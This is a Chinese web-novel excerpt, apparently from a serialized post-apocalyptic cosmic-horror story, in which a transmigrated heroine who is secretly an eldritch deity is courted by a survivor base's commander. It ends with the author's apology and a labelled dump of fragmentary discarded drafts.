林立的高楼大厦让她好像回到了现代都市,人们穿行在钢铁森林间,却不复行色匆匆,而是满面微笑,未着防护面罩的脸上透着奇异的神采,仔细看她们的眼瞳深处,一道道细细的彩线游弋其中。
柯雾不由得看了一眼郁七,郁七不明所以地回以微笑。她陷入沉思,难道这不是异化的表现,而是什么流行的装饰品?比如美瞳什么的,像她所处时代的潮流穿搭,随处可见?
“虞零。”有些耳熟的音色从前方传来,带着些许疲惫:“总长希望见这位一面。”
朱肆扶着军帽,遮住了上半张脸,只露出瘦削的下颌,对柯雾道:“不知您是否有空?”
总长?柯雾疑惑道:“请问是?”
“基地的创立者和总负责人。”朱肆答道:“她听闻您的事迹,一直想亲自见您一面。”
?她做了什么吗,得了这种大佬的青眼?
柯雾不明所以,难道是捞了一把发烧的虞零?那应该算不上什么吧?
“总长是我的导师。”虞零适时侧身,“基地不比旧世纪,我们没有名义上的父母,导师也是我们成年前的监护者。”
柯雾了悟。
23. 等等先别看
清晨,斑斓的色调爬上洁净的窗台。落地窗一时变作万花筒,望一眼都叫人头晕。
总长低下头,难以抑制地眨了眨眼,一滴油彩随着她的动作滴落指尖。她握了握手,心念电转间,背后本已固化的藤蔓软下,她控制着它一点点变回脊骨的一部分,正如多年前她在战斗中所做的那般。随着重量的减轻,弯曲如虾的脊背一点点挺起。
朱肆捂着眼睛,她的义眼不住颤动,如获生命般挣-扎着就要脱出眼眶。
总长:“不必阻止,试着同祂共存。”
闻言,朱肆松开了手,眼球一下飞出眼眶,在空中绕圈,尾部散发着七彩荧光,拖出一道室内彩虹。
总长眯了眯眼:“小朱啊,你身上有荧虫卵,是不是没来得及去医疗部净化?”
朱肆睁着黑洞洞的双眼:“是。”
两颗眼球相互纠缠了一阵,发现无法相融,便恋恋不舍地分开,齐齐向朱肆飞来。
朱肆已经不想要它们了,但眼球比她后撤的动作更快,直直地撞入她的眼眶,旋了几圈,安稳地住下了。
朱肆:“……这到底是什么东西?您知道吗?”
“我们那会称它为圣水。”总长张开手掌,一小滩沉淀成五彩斑斓的黑的液体静静地待在她的掌心。“从祂体内流出的血液化作圣水,赐予每一位信众至福。”
朱肆:“……您是说,这玩意儿是祂的,呃,血?”
不对,等等,她们那会??哪会???
“圣水是祂的一部分,人类自作聪明地理解为神血。每一滴圣水都有激发异能、祛除百病的功效。它们自带活性,饮下它,有如祂与我们同在。”
这些文绉绉的词朱肆左耳进右耳出,愣是一点没信:“听上去像是被污染了。”
总长难得展露笑颜,苍白的嘴唇咧到一个夸张的弧度,朱肆受到感染,竟不自觉地牵起嘴角。
“确实是污染。”总长道:“只是祂的污染能够让我们保持基本的神智,甚至连之前的污染源都能化为己用,进化出新的异能。”
总长的指尖开出一朵小花,“我的异能便是这样得来的。”
“‘无论你是畸形儿,还是残疾者,饮下甘露,福与我们同在。’”她哼了一段轻快的旋律,目露怀念:“那会我还是唱诗班的一员,每天最大的期盼就是在祷告时见上祂一面。祂庇护着每一位虔诚的信徒,连换牙这种小事都能向祂倾诉,我能感受到,祂真心为我们忧伤,为我们欢喜。”
朱肆有些受不了了,这副场面莫名眼熟,她不愿回想面对那对精神系师徒的无力感,转移话题道:“您是说,祂来过基地?”
总长收了笑容:“来过?当然不是,祂在基地成立前便存在了。”
“应该说,因为祂的存在,基地才能建立。”
*
内城很大,主要的交通工具是环城列车。朱肆本欲带柯雾直接坐专车,但她眼巴巴地盯着闪闪发光的银色列车头。虞零和郁七紧密关注柯雾的动向,见她心有所属,当即将她们推上了列车。
列车缓缓行驶,柯雾趴在窗口,四处观望。朱肆想到虞零的嘱咐,耐着性子解说起基地的各栋建筑。
驶过最高那栋时,柯雾生出一股亲切之感,朱肆没介绍,她便主动问了。
“那属于研究院。”朱肆不情不愿道:“最高处是观星台,除了观星台其余的楼层不对外开放。”
柯雾“啊”了一声,沉默下来。朱肆以为自己哪里说错了话,干巴巴地讲了几个冷笑话,企图亡羊补牢,柯雾很给面子地弯了弯眉,笑意却难达眼底。
过了好一会,朱肆说无可说时,她才开口:“抱歉,想起了一些不愉快的事情,和你无关,是我自己的问题。”
柯雾害怕星星。小时候她和姐姐在阳台纳凉,遇上此生难忘的流星火。
那颗走投无路的星辰坠入无光长夜,掀起滔天大火。
夜色骤明,有如白昼。
姐姐问她为什么低头,她想:星星是活的。
在燃尽前,牠看了她一眼。
*
总长结束了基地会议,早早地候在门口,当祂同朱肆一道出现时,她向来半阖的眼皮讶异地撑大。
祂何时……变得这样圆?
比从前大了三倍不止,简直像弹跳的水球,可当祂的边缘穿过建筑,又如若无物,建筑和祂都未受到伤害。
水球逼近,总长一时眩晕,强撑着扶额抬头,眼前的水球在一阵剧烈的波荡后消失,取而代之的是一位短发及肩的少女。她的刘海遮住了眉眼,显得有些阴郁。
正当总长恍惚时,少女一把撩开刘海,露出一双灵动的蓝眼睛。下一秒蓝色满溢而出,聚为水球,球面晃动着洒出一些液体:【您好,我是柯雾】
总长大概明白发生了什么,她伸出手,握住那凝固在半空的液体:“您好,我是第七基地负责人,很高兴……再次见到您。”
【再?】水球疑惑地歪了歪头。
“年纪大了,记性不好。”总长面不改色,“感谢您为第七基地做出的贡献。”
*
总长握得好紧,柯雾稍微使劲是能挣开,可对方并无恶意,她便任由对方牵着她坐下。
一个模型被投影在她们对面的大屏幕上,是第七基地的建筑模型,其中无数红点乱窜。
“标红的是异能者。”总长言简意赅。
“这么多?”柯雾稍感诧异,不是说第七基地异能者很少吗?
“是您的功劳。”总长换了另一个投影,是研究院的一间实验室,莹白的荧虫卵堆满房间。“多亏了您,笼网才能顺利运到战场。被捕捉的荧虫作为激发实验的污染源,取得了良好的成果,我们将成果推向了全基地。”
“这么快?”柯雾震惊,这才几天啊??
“这个理论趋于成熟,苦于没有合适的实验体,可以说就差临门一脚,是您补上了这块拼图。”
有理有据,柯雾信了。
“内城区配有完备的污染检测体系,我们收集到的
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数据显示,受污染者百分百,异化者百分百,其中进化出异能的异能者高达百分之九十。即使没有进化出异能,出现异化症状的居民也没有进一步恶化的风险。”
柯雾不太了解基地运作的原理,但从她接触的信息来看,异能者的含金量相当高。第七基地这算不算是,瞬间拥有了一座金矿?
千言万语汇作一句:“恭喜。”
“为了感谢您的贡献,”总长熟练得像个推销员,丝滑地进入下一个流程。“基地准备了一些微不足道的礼物,还望您收下。”
手环滴滴作响,柯雾打开一看,被消息提示冲懵了。她直接点开账户余额,当看到后面那数不清的0时,倒吸一口凉气,啪地一下关掉了通讯器。
无功不受禄。“这是需要我做什么吗?”她直白地问。
老实说,有点吓人,她是个老实人,不受不义之财。
“确实有一个请求。”总长也同样坦诚:“如若您结束了其她基地的游历,想找一个固定的居所,还望您能优先考虑第七基地。”
“?”柯雾:“我什么时候要去游历了?”她怎么不知道???
“您的事迹传遍了七-大基地,应该已经有其她基地向您发出了邀请,您可以使用信件过滤功能查阅。”
在总长的指导下,柯雾顺利筛出了六封邮件,还真是其她基地的邀请信,请她去观光的、开讲座的、合作的,理由五花八门,给出的条件也十分优越。
柯雾总结了下:来挖墙角的。
她好像一个怀揣珍宝而不知的大盗,十分不安:“就因为我救了笼网?”
“就因为您能令异能稳定激发。”总长顺着她的话头说下去。“我们太需要异能者了。”
“可这是顺手的事,即使没有我,你们也能做到。不如说做到的人是你们,我只是顺手的事。”柯雾拎得很清。
总长摇头:“您太低估自己的潜力了。”
柯雾:“……”为什么她总觉得她们在忽悠她?
“这么说来,您短期内不会选择前往其她基地了?”总长观察她的脸色,脸上也带了些许笑意。
“看情况吧,至少这段时间不会。”
柯雾不喜欢把话说死,无论她们是不是在戏弄她,圆滑一点总归没问题。再说了,她也确实想要休息一下。还有那个隐而不发的病灶,必须及时根除,否则就像达摩克里斯之剑一样悬于她头顶,让她夜夜不得安宁。
桩桩件件都要时间,她自然不会想着离开第七基地。
总长满面春风地送她出了门,加了她的联系方式,说有什么困难可以直接联系。
算上总长,她穿来三天,已经和基地的三个高层搭上关系了,还达成了“闻名七-大基地”成就,这放在穿越者里也是天胡开局。
虞零和郁七守在不远处,见她们出来,忙拥上。
朱肆简明扼要地复述了一遍她们的谈话内容,虞零听完转向郁七:
“其实第四基地的医疗资源比第七基地好。”
24. 还有两章这样
实在抱歉,拖延症晚期,这章更换后评论的宝宝都有大大红包TT我努力替换,再也不想踩线了呜呜
-以下上废稿-
她失去了看风景的兴致,坐回自己的座位,闭目养神。
幻觉消失无踪,心理医生的小技巧凑效了,至少她可以暂时欺骗自己了
郁七-的大脑隐隐作痛,她低着头,眼里的异彩被掩去,在和伪装成测试员
祂碎裂成无数泡泡,秋十的感官乘上其中一个,飘飘悠悠落下。
-
伸手,隔着车窗在漩涡边缘描摹。
-
她加大了雨刮的力度。总算能勉强看清了。
*
粒粒分明的沙子
雨将落下。
她的话音刚落,
柯雾转向浮云:“”又是酸雨又是龙卷风的。
柯雾忧心忡忡地望着横劈半片天空的闪电。
“导航还有信号吗?”秋十探出头
“有。”浮云打开雨刮:“但快没了。”
秋十:“……”
*
*
秋十在祂的领域挡下绝大多数落雨,
*
“你为什么不自己去看?”
郁七
-
*
“又是异种吗?”柯雾往后靠了靠。
*
*
秋十全身紧绷,
*
祂表面流转的漩涡兀地扩大,秋十想读懂祂的思绪,眼神却渐渐呆滞。
*
暴雨将至。
柯雾伸手抹了抹窗面。
车身在摇晃
膨胀的第0.01秒,祂吞噬了面包车。
膨胀的第0.3秒,祂吞噬了肉宴,那山般的肉躯瞬间溶化,骷髅沉入水底,露出餍足的笑容。
膨胀的第0.5秒,祂吞噬了喜蛛群,那尖锐的笑声犹如被掐住脖子的鸡,戛然而止。
膨胀的第1秒,祂打了个嗝。
而后像视频倒放一般,祂缩回原本大小,吐-出还没来得及反应的面包车。
可怖的蜘蛛、狰狞的肉山都像未曾存在过,就连沙尘都被平息,晴空一碧如洗,天气正好。
面包车里的队员们看着锃亮的车窗:“……”
发生了什么?我在哪?我是谁?
有天她半夜踢被子着凉,发了高烧,一阵冷一阵热。她没有力气起身吃药,把自己裹在被子,豆大的汗珠从额头滚落,仍觉寒冷。喊了一声又一声,无人应答。她才迟钝地想起姐姐上学了。
家里新买的机器人听到她的呼唤,端着早餐进来,但她需要的是水和退烧药。
机器人没有智能到那个地步,她只好挣.扎着起身倒水,眼花手抖的,不慎撒了出来,手背烫红一片。
她
她不禁在模糊的雨幕中寻找祂的领域。
为什么祂不拦截?
浮云本就踩到底的脚又碾了碾油门,“看运气了。”
-
苍灵逐渐意识模糊,所幸伤处瘙痒难耐,她咬牙撕破新结的血痂,以疼痛使自己保有理智。
-
苍灵浑身血液都凝固了,她虽然身为导师,但从未孤身进入过禁.区。
况且,她看向大部队驻扎的方向,她们还不知道!
苍灵喘着粗气起身,
-
螳螂捕蝉,黄雀在后。原属13区的树藤悄无声息地破土而出,瞬息间绞断老狗的头颅。
藤上倒刺咀嚼着血肉,没留意到
-
【】野外考察的大部队在不远处,这只因为磁场紊乱偏离路线的小队只要原路返回便能得救。
-
方才老狗为了摆脱针扎的痛楚不住狂奔,如今一看,竟是撞入13区深处,四周林木幽深,寂静无声。
苍灵顾不上许多,只想把自己拔.出来,可无论她怎么动作,下半身如陷泥泞,动弹不得。
怎么回事?伤口的感染让她发起高烧,视野模糊,她朝下摸去,摸到一手粘液和防护服的碎片。
哦,被污染了。
老狗死亡,残留在它身上的污染分子并未随之逝去,而是蠢蠢欲动地寻找下一个宿体。
苍灵被趁虚而入,污染分子通过防护服破损处进入她的身体,悄无声息地改造她的基因,像一根绣花针,将她和老狗缝在一处。
食道的腐蚀性粘液破坏她的血肉
-
【】
柯雾抱着狗,阻止浮云不及,只得扬声道:“你冷静点!”
但尖刀已经刺下,机械臂高举,动作精准
()柯雾听到怀里的小狗发出微弱的叫声,
她微弯下腰,就听见那声清晰的“云……”
……好吧,都末世了,狗会说话好像也正常。
她
【】秋十知道祂眼中的世界和她们不一般,不知道祂看到了什么,
-
【】“测试,听得到吗?”失真的女声音从记忆深处浮现,尾调上扬,透着一点漫不经心。
【】当时的郁七应声,她捕捉到某种奇异的波动,为此战栗不已。
“唔,郁七,可以叫你小七吗?”
郁七含糊地答应了。
“好小七,祂的怀抱滋味如何?”
【】一个不伦不类的问题,没有引导,没有提示,带着调笑的意味,让郁七很不舒服,下意识道:“祂很好。”
声音很轻,但足以传到对面。
“是吗。”她意味不明地笑了一声。窸窸窣窣的动静传来,塑料袋被撕开,咔嚓咔嚓的声音经过话筒的放大响彻测试房间。
【】正全神贯注收听的朱肆:“……”这女人还吃上了?
大概是意识到郁七还在听,女人把塑料袋拿远了些:“吃点零食,我好几天没吃饭了,再不吃东西会出事。”
她毫无征兆地跳到下一个话题:“话说,你觉得祂像人吗?”
【】郁七沉默了一会才开口:“抱歉,我拒绝回答。”
【】“碰上祂的事,你意外地强硬呢,这也是污染的一部分吗。”明明是提问,语调却平铺直叙得像陈述。
郁七保持沉默。
“好吧,我没有恶意。”女人投降,“我只是想知道祂过得怎么样了,总觉得祂瘦了不少,怕是这些年吃不饱穿不暖。”
前面的话还能勉强和测试扯上关系,这句就是石破天惊了,装都不装了。
郁七心中惊涛骇浪,面上却迟钝地不显。
【】在场除了虞零知道内幕,全都处在震惊中
-
柯雾知道自己的视觉受到污染的影响,就像是毒蘑菇吃多了眼前会出现幻觉,她极力集中精神去分辨周遭景色,曾经焦糖蜜色的房屋褪.去伪装,不一会又变回原样,无论她怎么分辨,眼前的都是焦糖小蛋糕。
【】柯雾多次尝试无果,摆烂放弃了,准备到时候问下温九或者虞零有没有什么解决的方法。
*
朱肆早有准备,八爪爆开,冲
*朱肆:疯子!
雾:不要因为我老实就忽视我邪神的本质啊!
作者视角
(待)幸好半夜了走廊没什么人,不然总指挥面容扭曲身体打架般行走的诡异一幕。
-
(待加)她喋喋不休说着:“深度污染者没有得到有效的治疗会飞速异化,等身躯全然向异种看齐,便没有了救治的余地,只能得到异种的待遇。”
“好啊,怎么做?”柯雾跃跃欲试。
(待)“……”朱肆刚要回答,副官匆忙赶到,不知耳语了什么,让朱肆咽下了原本的说辞,微笑道:“等您的身证明下来,会有专人带您进行系统的训练。”
(待)柯雾不明所以,但没有刨根问底。朱肆同她客套几句,加了她的好友,便以天色已晚为由告辞。
目送军队撤离,柯雾回了房间,
-
医疗中心,特级病房/深度污染隔离室。
-
朱肆退后一步,还没等她组织好措辞,祂便缓缓回弹,恢复至和雕塑平齐的高度。
【我不懂治疗,如果你说的是院长,她应该已经没事了】
?怎么会。朱肆下意识要反驳,突然想起那个在医疗中心接受治疗的飞行员。
朱肆本意是请祂也对虞零施以援手,以毒攻毒总比等死好,可祂似乎早有预感。
明知她们会净化掉祂的污染也不在意,可能这就是神级异种吧。在普通异种兢兢业业污染其她物种好抢占生存空间时,祂
-
(待改)“您救助过的那位飞行员已经脱离了危险。”朱肆道:“虽然还是有些痴呆……但总比全然变成野兽好。”
柯雾好一会才反应过来朱肆指的是npc,她的头隐隐作痛:“等等,那不是周年庆……”
如果不是,郁七骗了她?为什么?
朱肆退后了一步:“您先冷静。”
“周年庆是真的,npc也是。”朱肆放轻了声音:“他在进行飞行表演的时候不幸被寄生了。”
(待改)柯雾倦意上涌,不是很想计较这些细枝末节了,反正她已经成功加入基地,她们说什么就是什么吧。
“我没做什么,”她撑着眼皮道,“我只是把他的头套……哦,虫巢,割了下来。”
(待改)“那位院长体温降下不少,你们还是多看看,说不定已经没事了?”柯雾摇摇晃晃,“抱歉,我有点困了……”
在她们谈话的空档,现场打扫得差不多了。
(待改)朱肆识趣道:“那不打扰您了,您好好休息,有事直接联系我们。”
柯雾胡乱点了头,勉强撑着身子返回顶层。
甫一接触床铺,她便闭上了眼睛,整个人坠入旧日的梦乡。
-
虞零赶到外城区,半路被医疗中心的工作人员拦下,“院长!您带来的那个孩子……”
她正在通话,一时不察,专车一个急刹,一下撞到前面的椅背。
通讯界面误触,一下挂断了通话。
-
光点汇入河流,荧光长河像一条丝带缠绕在雕塑上,堪堪弥合了裂痕。
-
4、请保持沉默。基地的指引只会在通讯器发布,不要回应任何类人的声音!
-
“那个”
“可现在离荧虫的繁殖季还有一段时间吧,怎么突然……”有人提出异议。
众人默然。
“你来了。”朱肆,
她的手环碰了碰虞零
一段录像传到虞零的通讯器
*
“你追查的结果呢?”虞零对朱肆道,“荧虫是怎么寄生到你那个手下身上的?有没有其她人感染?”
“”总指挥言简意赅,
“您好。”
她们可以看到彼此,声音却只能通过话筒音响传递。
清凌的女声犹如潺潺的清泉,同对面开合的金属门声一道落入柯雾耳中。
“是。”
怕她无聊,队长给了她一个临时通讯器,柯雾的身份证明尚未办下,没有居民id,不能使用其她功能,只能进行最基础的通讯。
她好奇地摆弄形似玉镯的通讯器,和她记忆中的薄如纸的高科技手环不同,基地的通讯器颇有质感,转动便会弹出悬浮的窗口,佩戴者通过眼神或触屏操作。
柯雾还是习惯触屏,她按照队长教授的办法试图拨通队员的线路,却被弹出的好友申请打断。
【用户“零食”请求添加好友(通过就近搜索添加)】
微风牵动白纱帘,光影斑驳投下。
柯雾好奇地打量着新居所。
-
虞零鞠了鞠躬,算问了好,在总长床边的长椅坐下。
她认得这本书,卡通画的外皮让小时候的她以为是漫画书,和朱肆合谋,千方百计地偷出来才发现是一本手绘的植物图谱。她俩看得津津有味,直到老师的叹气声近在耳畔。
-
虞零的身体微微发颤,总长垂下眼帘,和缓地解释这番决定
-
那人越接近,郁七抖得越厉害。柯雾思索几秒,试探地掷出折叠刀。
柯雾顺着她的目光看去,发现空中有一个巴掌大的木偶正乘着降落伞悠悠下落。
那木偶越接近,郁七抖得越厉害。柯雾思索几秒,试探地掷出折叠刀。
【她视力不好!】她视力好,这些日子一直在练习,加上离得也近,竟正中红心,将木偶一下钉在地上。
木偶的脑袋转动着,那双麻木的眼睛死死盯着她,流出面条宽的荧光绿眼泪。
-
但因为飞机的高度太低,那未燃尽的焰火落下,像飘飞的雪花擦过柯雾发边。
-
【什么时候可以去基地】
郁七不是总能理解祂的话语的,祂发声的器官与她们不同,人类很难辨别那模糊的呓语,只是随着同祂的接触加深,防护服显示的污染指数上升,她的耳蜗似乎也发生了某种变异,有什么东西破血管而出,柔柔地拂过
-
其实经过这些天的相处,她们已经有意无意对表现得温和无害的祂放下了戒心。
直到祂在荒原升起刑架,点燃肉笼。
那横断的肉山被荆棘状的触-手架起,交叠摆放成一个“十”字,而后在触-手的操控下,十的两笔高速摩-擦,犹如提琴的琴弦疯狂演奏着琴弓,而后火花迸溅,引发燎原大火。
肉笼这种异种生命力顽强,即使一分为二也能活,是以它最后是被活活烧死的。
皮下骷髅都不哭了,改行惨叫,让她们硬生生在那一颗颗只剩骨头的脑袋上看出惊恐。
虽说大快人心,但一想到这下场可能落到她们身上,队员们就笑不出来。
这是她们知道,和祂敌对的下场。
本来小队就因为和祂过于接近,污染指数极具飙升,这会还能保持理智已经是防护服和研究员们努力过的结果。
不知道是不是因为郁七是精神系异能,受到的影响最小,或者说最深,对此接受良好,甚至主动同祂接触。
-
军方给她们准备的是最为厚重的防护服,防御属性点满,这大概是基地最后的仁慈了。如果她们不幸惹恼了祂,还能留个全尸……吧?
车身颠簸,队员们默默检查装备,虽然没什么用,但总比什么都不做好。
她吐-出一口郁气,下定了决心:“队长,等会我先下去吧。”
温九没说什么,只是握住她的手,用异能舒缓了她紧绷的神经。
-
柯雾干脆出了城门,门外的烟雾没有城里那么浓,让她呼吸顺畅了些。
拐角遇见爱。
“郁七!”柯雾冲上去,把双手合十的女孩吓了一跳。
“是……是我。”她抚了抚心口。“您还好吗?”
半天没见,她换了身银白防护服,更加臃肿,走起路来像企鹅。柯雾没忍住笑了笑。
“挺好的。其她人呢?话说基地在办什么活动吗?”柯雾
“活动……”郁七眼神恍惚了一瞬,“您是指……空投糖果炸弹?我明白了。”
她
“庆典?”
-
-
【这里不是基地。】祂漫不经心道,【为什么你们要带我来这里】
【真正的基地在哪】
“因为……因为……”nd的后背被冷汗浸-湿,大脑在高压下难以运转,思路串不成线or珠,只能挤出只言片语:
“您的检测结果……不合格……不能……直接去……基地……”
【是吗。】
意外地,祂松开了对他的压制。
【这里是哪】
“是,是基地的前身,一座荒废已久的旧都市
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。”
“用来隔离被污染,还在观察期的人。”
【那糖果是什么】
糖果?nd满眼茫然,而后,祂让他明白了。
他抱着肿-胀的脑袋跌坐在地,尖叫几乎破口而出,被祂灵活的触-手塞回去了。
那触-手顶端滴下一点粘液,nd下意识吞咽后脸色大变,想吐-出口,下腹却窜上一股暖意,激得他不住哆嗦。
至于位置何在,无需他出声,祂已在他的记忆里阅读到一切。
【。】祂
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她是好说话,不代表好欺负,兔子急了还会咬人呢,她急了也会鱼死网破的。
“等等!”
几人四散奔逃,柯雾锁定最近的nd,nd不住挣-扎,被柯雾用刀对准脖子后就老实了。
老实的抖如筛糠。
柯雾的手也在发-抖,毕竟她之前就只杀过蚯蚓,是第一次对人
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柯雾一头雾水,随机拦下一个路人:“你好,请问你有见过……”
她话还没说完,全身覆甲,疑似要出城的路人捂着心口快步后撤,唯一露出的双眼顷刻间布满血丝,咬牙切齿道:“没有!”
柯雾道了声抱歉,转身要找别人,结果那人步子一转,跟上了她。
在她一米开外仿佛抵抗什么似的,从牙间挤出只言片语,“她们在……我不知道!……在……”
几番拉扯后败下阵来:“……在悬浮台!”
柯雾不确定地道:“谢谢?”
路人全程没有看她,仿佛自己泄露了什么惊天大秘密,捂着脸跑开了。
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秋十递给她一张金属质感的身份卡,说是给她办理的身份证明。
“凭这张卡可以免费领取一个睡眠舱,后续舱体的保养和供电就得你自己想办法了。”她交代道,“七基和其他基地的委托都会显示在舱内光脑上,委托奖励有基地的货币或某些物资,”
*
【全体撤离祂会起疑,我留下安抚】温九打道。【到时再想办法离开】
况且,她想验证一些事,如果那个猜想是真的,即使净化落下她也有把握生还。
队员们觉得不妥,再三劝阻,奈何温九心意已决。
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她透过车窗看去,一群带着面具的小丑正敲锣打鼓、摇头晃脑地登场。
队员之一不知怎么的站得很远,几乎淹没在小丑堆里,她边一木仓一个精准爆头,边声嘶力竭朝她们喊:
“敌袭!!”
柯雾缓缓打出一个:“?”
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思索间,温九感到祂动了。
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末世的戏曲和喜剧不仅没消亡,还强买强卖上了?追着你要你看,不看就骚扰到你给钱?
什么人啊。
唢呐声吵得她头疼,柯雾忍无可忍,她礼貌地拍了拍周一的肩膀,请他起开,然后做了她一直想做的事——下车。
她一下车,前后都不约而同安静下来了。
柯雾挑挑眉,这不是很识趣嘛?
她朝戏班子为首那个衣衫破烂的丑角走去,走到近前了才看清楚,一整个戏班子衣衫褴褛、面黄肌瘦的,比她还矮了两个头,像一伙侏儒。
“那个。”她弯腰,把手放到丑角肩上,“我们没钱,也不喜欢听你们的戏。”
“可以请你们让开吗?”
丑角听不懂人话似的,颤-抖着身体举起唢呐,用尽全力一吹——
常年把耳机调到最大声的柯雾毫发无伤,但确确实实被激怒了。
本来刚才听了队长的解释,知道这些人都是荒原上的流浪汉,常年逮着过路车队敲诈勒索,举枪也只是威慑,打碎面具他们就不敢再追了,她都觉得他们可怜,放过算了。
既然给脸不要脸,就别怪她不客气了。
她劈手夺过唢呐,甩出折叠刀,给金属部分重重一击!
金石相击,余音回荡天地,盖过一切欢声悲泣。
那些穿着戏服、涂着花脸的戏子一下定住,不再呜呜假哭,而是直着眼,转着身朝柯雾扑来。
还想耍赖?
她以唢呐为鼓面,刀刃作鼓槌,瞬息间奏响数十下,一声高过一声,一浪盖过一浪。
-
赶走捣乱的流浪者,柯雾看着落了一地的奇怪道具,摸着鼻子跟队长讨要了一个登山包,将道具收了进去。
这些铁啊铜啊的,怎么说都能卖点钱吧?
队员们估计没见过一言不合直接发疯赶人的,在她回来后默然不语,只是分营养膏的时候多分了她三管。
可惜三管入肚好似泥牛入海,没什么实感。好在消除噪音的她神清气爽,不怎么饿。
-
她转身想出城门,却被一堵透明的墙拦住去路。
是防护罩,原本开了道口以便人们通过的防护罩彻底关闭了。
她伸手,摸索着试图找出可能存在的开关。随着指尖拂过,无形的墙面无声颤动。
弥漫的尘埃让柯雾无法确定墙外是否还有活人,她放弃了呼救,抽出折叠刀。
刀尖向上,试探地划过“墙”面,引起
-
自从污染全面爆发后,为了抵抗无处不在的污染因子,人类建立了基地。基地设有防护层,专门过滤污染因子。防护服的工作原理同防护层一致,保护前往荒原的基地人不被感染。
-
祂的庇护:人类
*
*
吸引它们的东西
-
柯雾放下手环,冷汗悄无声息浸/湿后背。
在这个万分紧张的时刻,她的肚子不看场合地“咕”了一声。
还好是在家,没有观众。
柯雾合了合眼,恐惧化为一股恼意。
她连日奔波,好不容易稳定下来,才点上一顿饭,就遇上了。
根本不想碰这个晦气的箱子,柯雾在杂物间找了一把
-
箱面变成一块屏幕,播放了一段“开机动画”。
一个身穿白大褂的娇小身影浮现,她一头短卷毛,夸张的太阳镜架在瓜子脸上,慷慨激昂地宣读开场白:
“欢迎使用哒哒哒安心达服务~无论是禁/区还是天空城,只要您付出足够的代价,我们发誓:虽远必达,虽险必达!”
“我是奥林匹克,你们忠实的电子仆人,下单、查询、收货或其她服务,任您语音指示~”
“新客人?”
念完广告词,她就像发现新大陆般,将鼻子贴到屏幕上,那半张脸大的太阳镜也跟着占据屏幕,让箱面凭空出现两个“黑洞”。
柯雾默默退后了两步,
奥林匹克不依不挠:“多么美丽的外表,多么强大的力量,或许——您有兴趣加入我们吗?”
?
最初的诧异退去,柯雾找回自己的初心:“我要收货。”
收到指示的奥林匹克叹了口气,打了一个响指,箱子缓缓展开。柯雾检查货物的同时问道:“你是电子客服?能转人工吗?”
箱子摊开,被迫跟地板面对面的奥林匹克语气哀怨:“是,我也是人工,有比二十四小时无休代班又能无限分-裂的员工更优秀的人工吗?”
好智能的ai。
“加入是什么意思?”
奥林匹克精神一振:“是这样的,哒哒哒公司的总部/位于第二基地,对,就是那个浮在海上,全世界漂流的第二基地。我们的员工遍布世界,招募包括荒野猎人在内的有志之士,致力于为每位陷入险境的客人提供运输服务。”
“所以这不是日常用的快递?”柯雾沉思,“我没有陷入险境,为什么送货的是你们?”
“因为身处险境的是第七基地吧。”奥林匹克咯咯地笑起来。
能量棒没问题,柯雾合上箱子。面对她疑惑的眼神,奥林匹克扶了扶镜框:“您不知道?”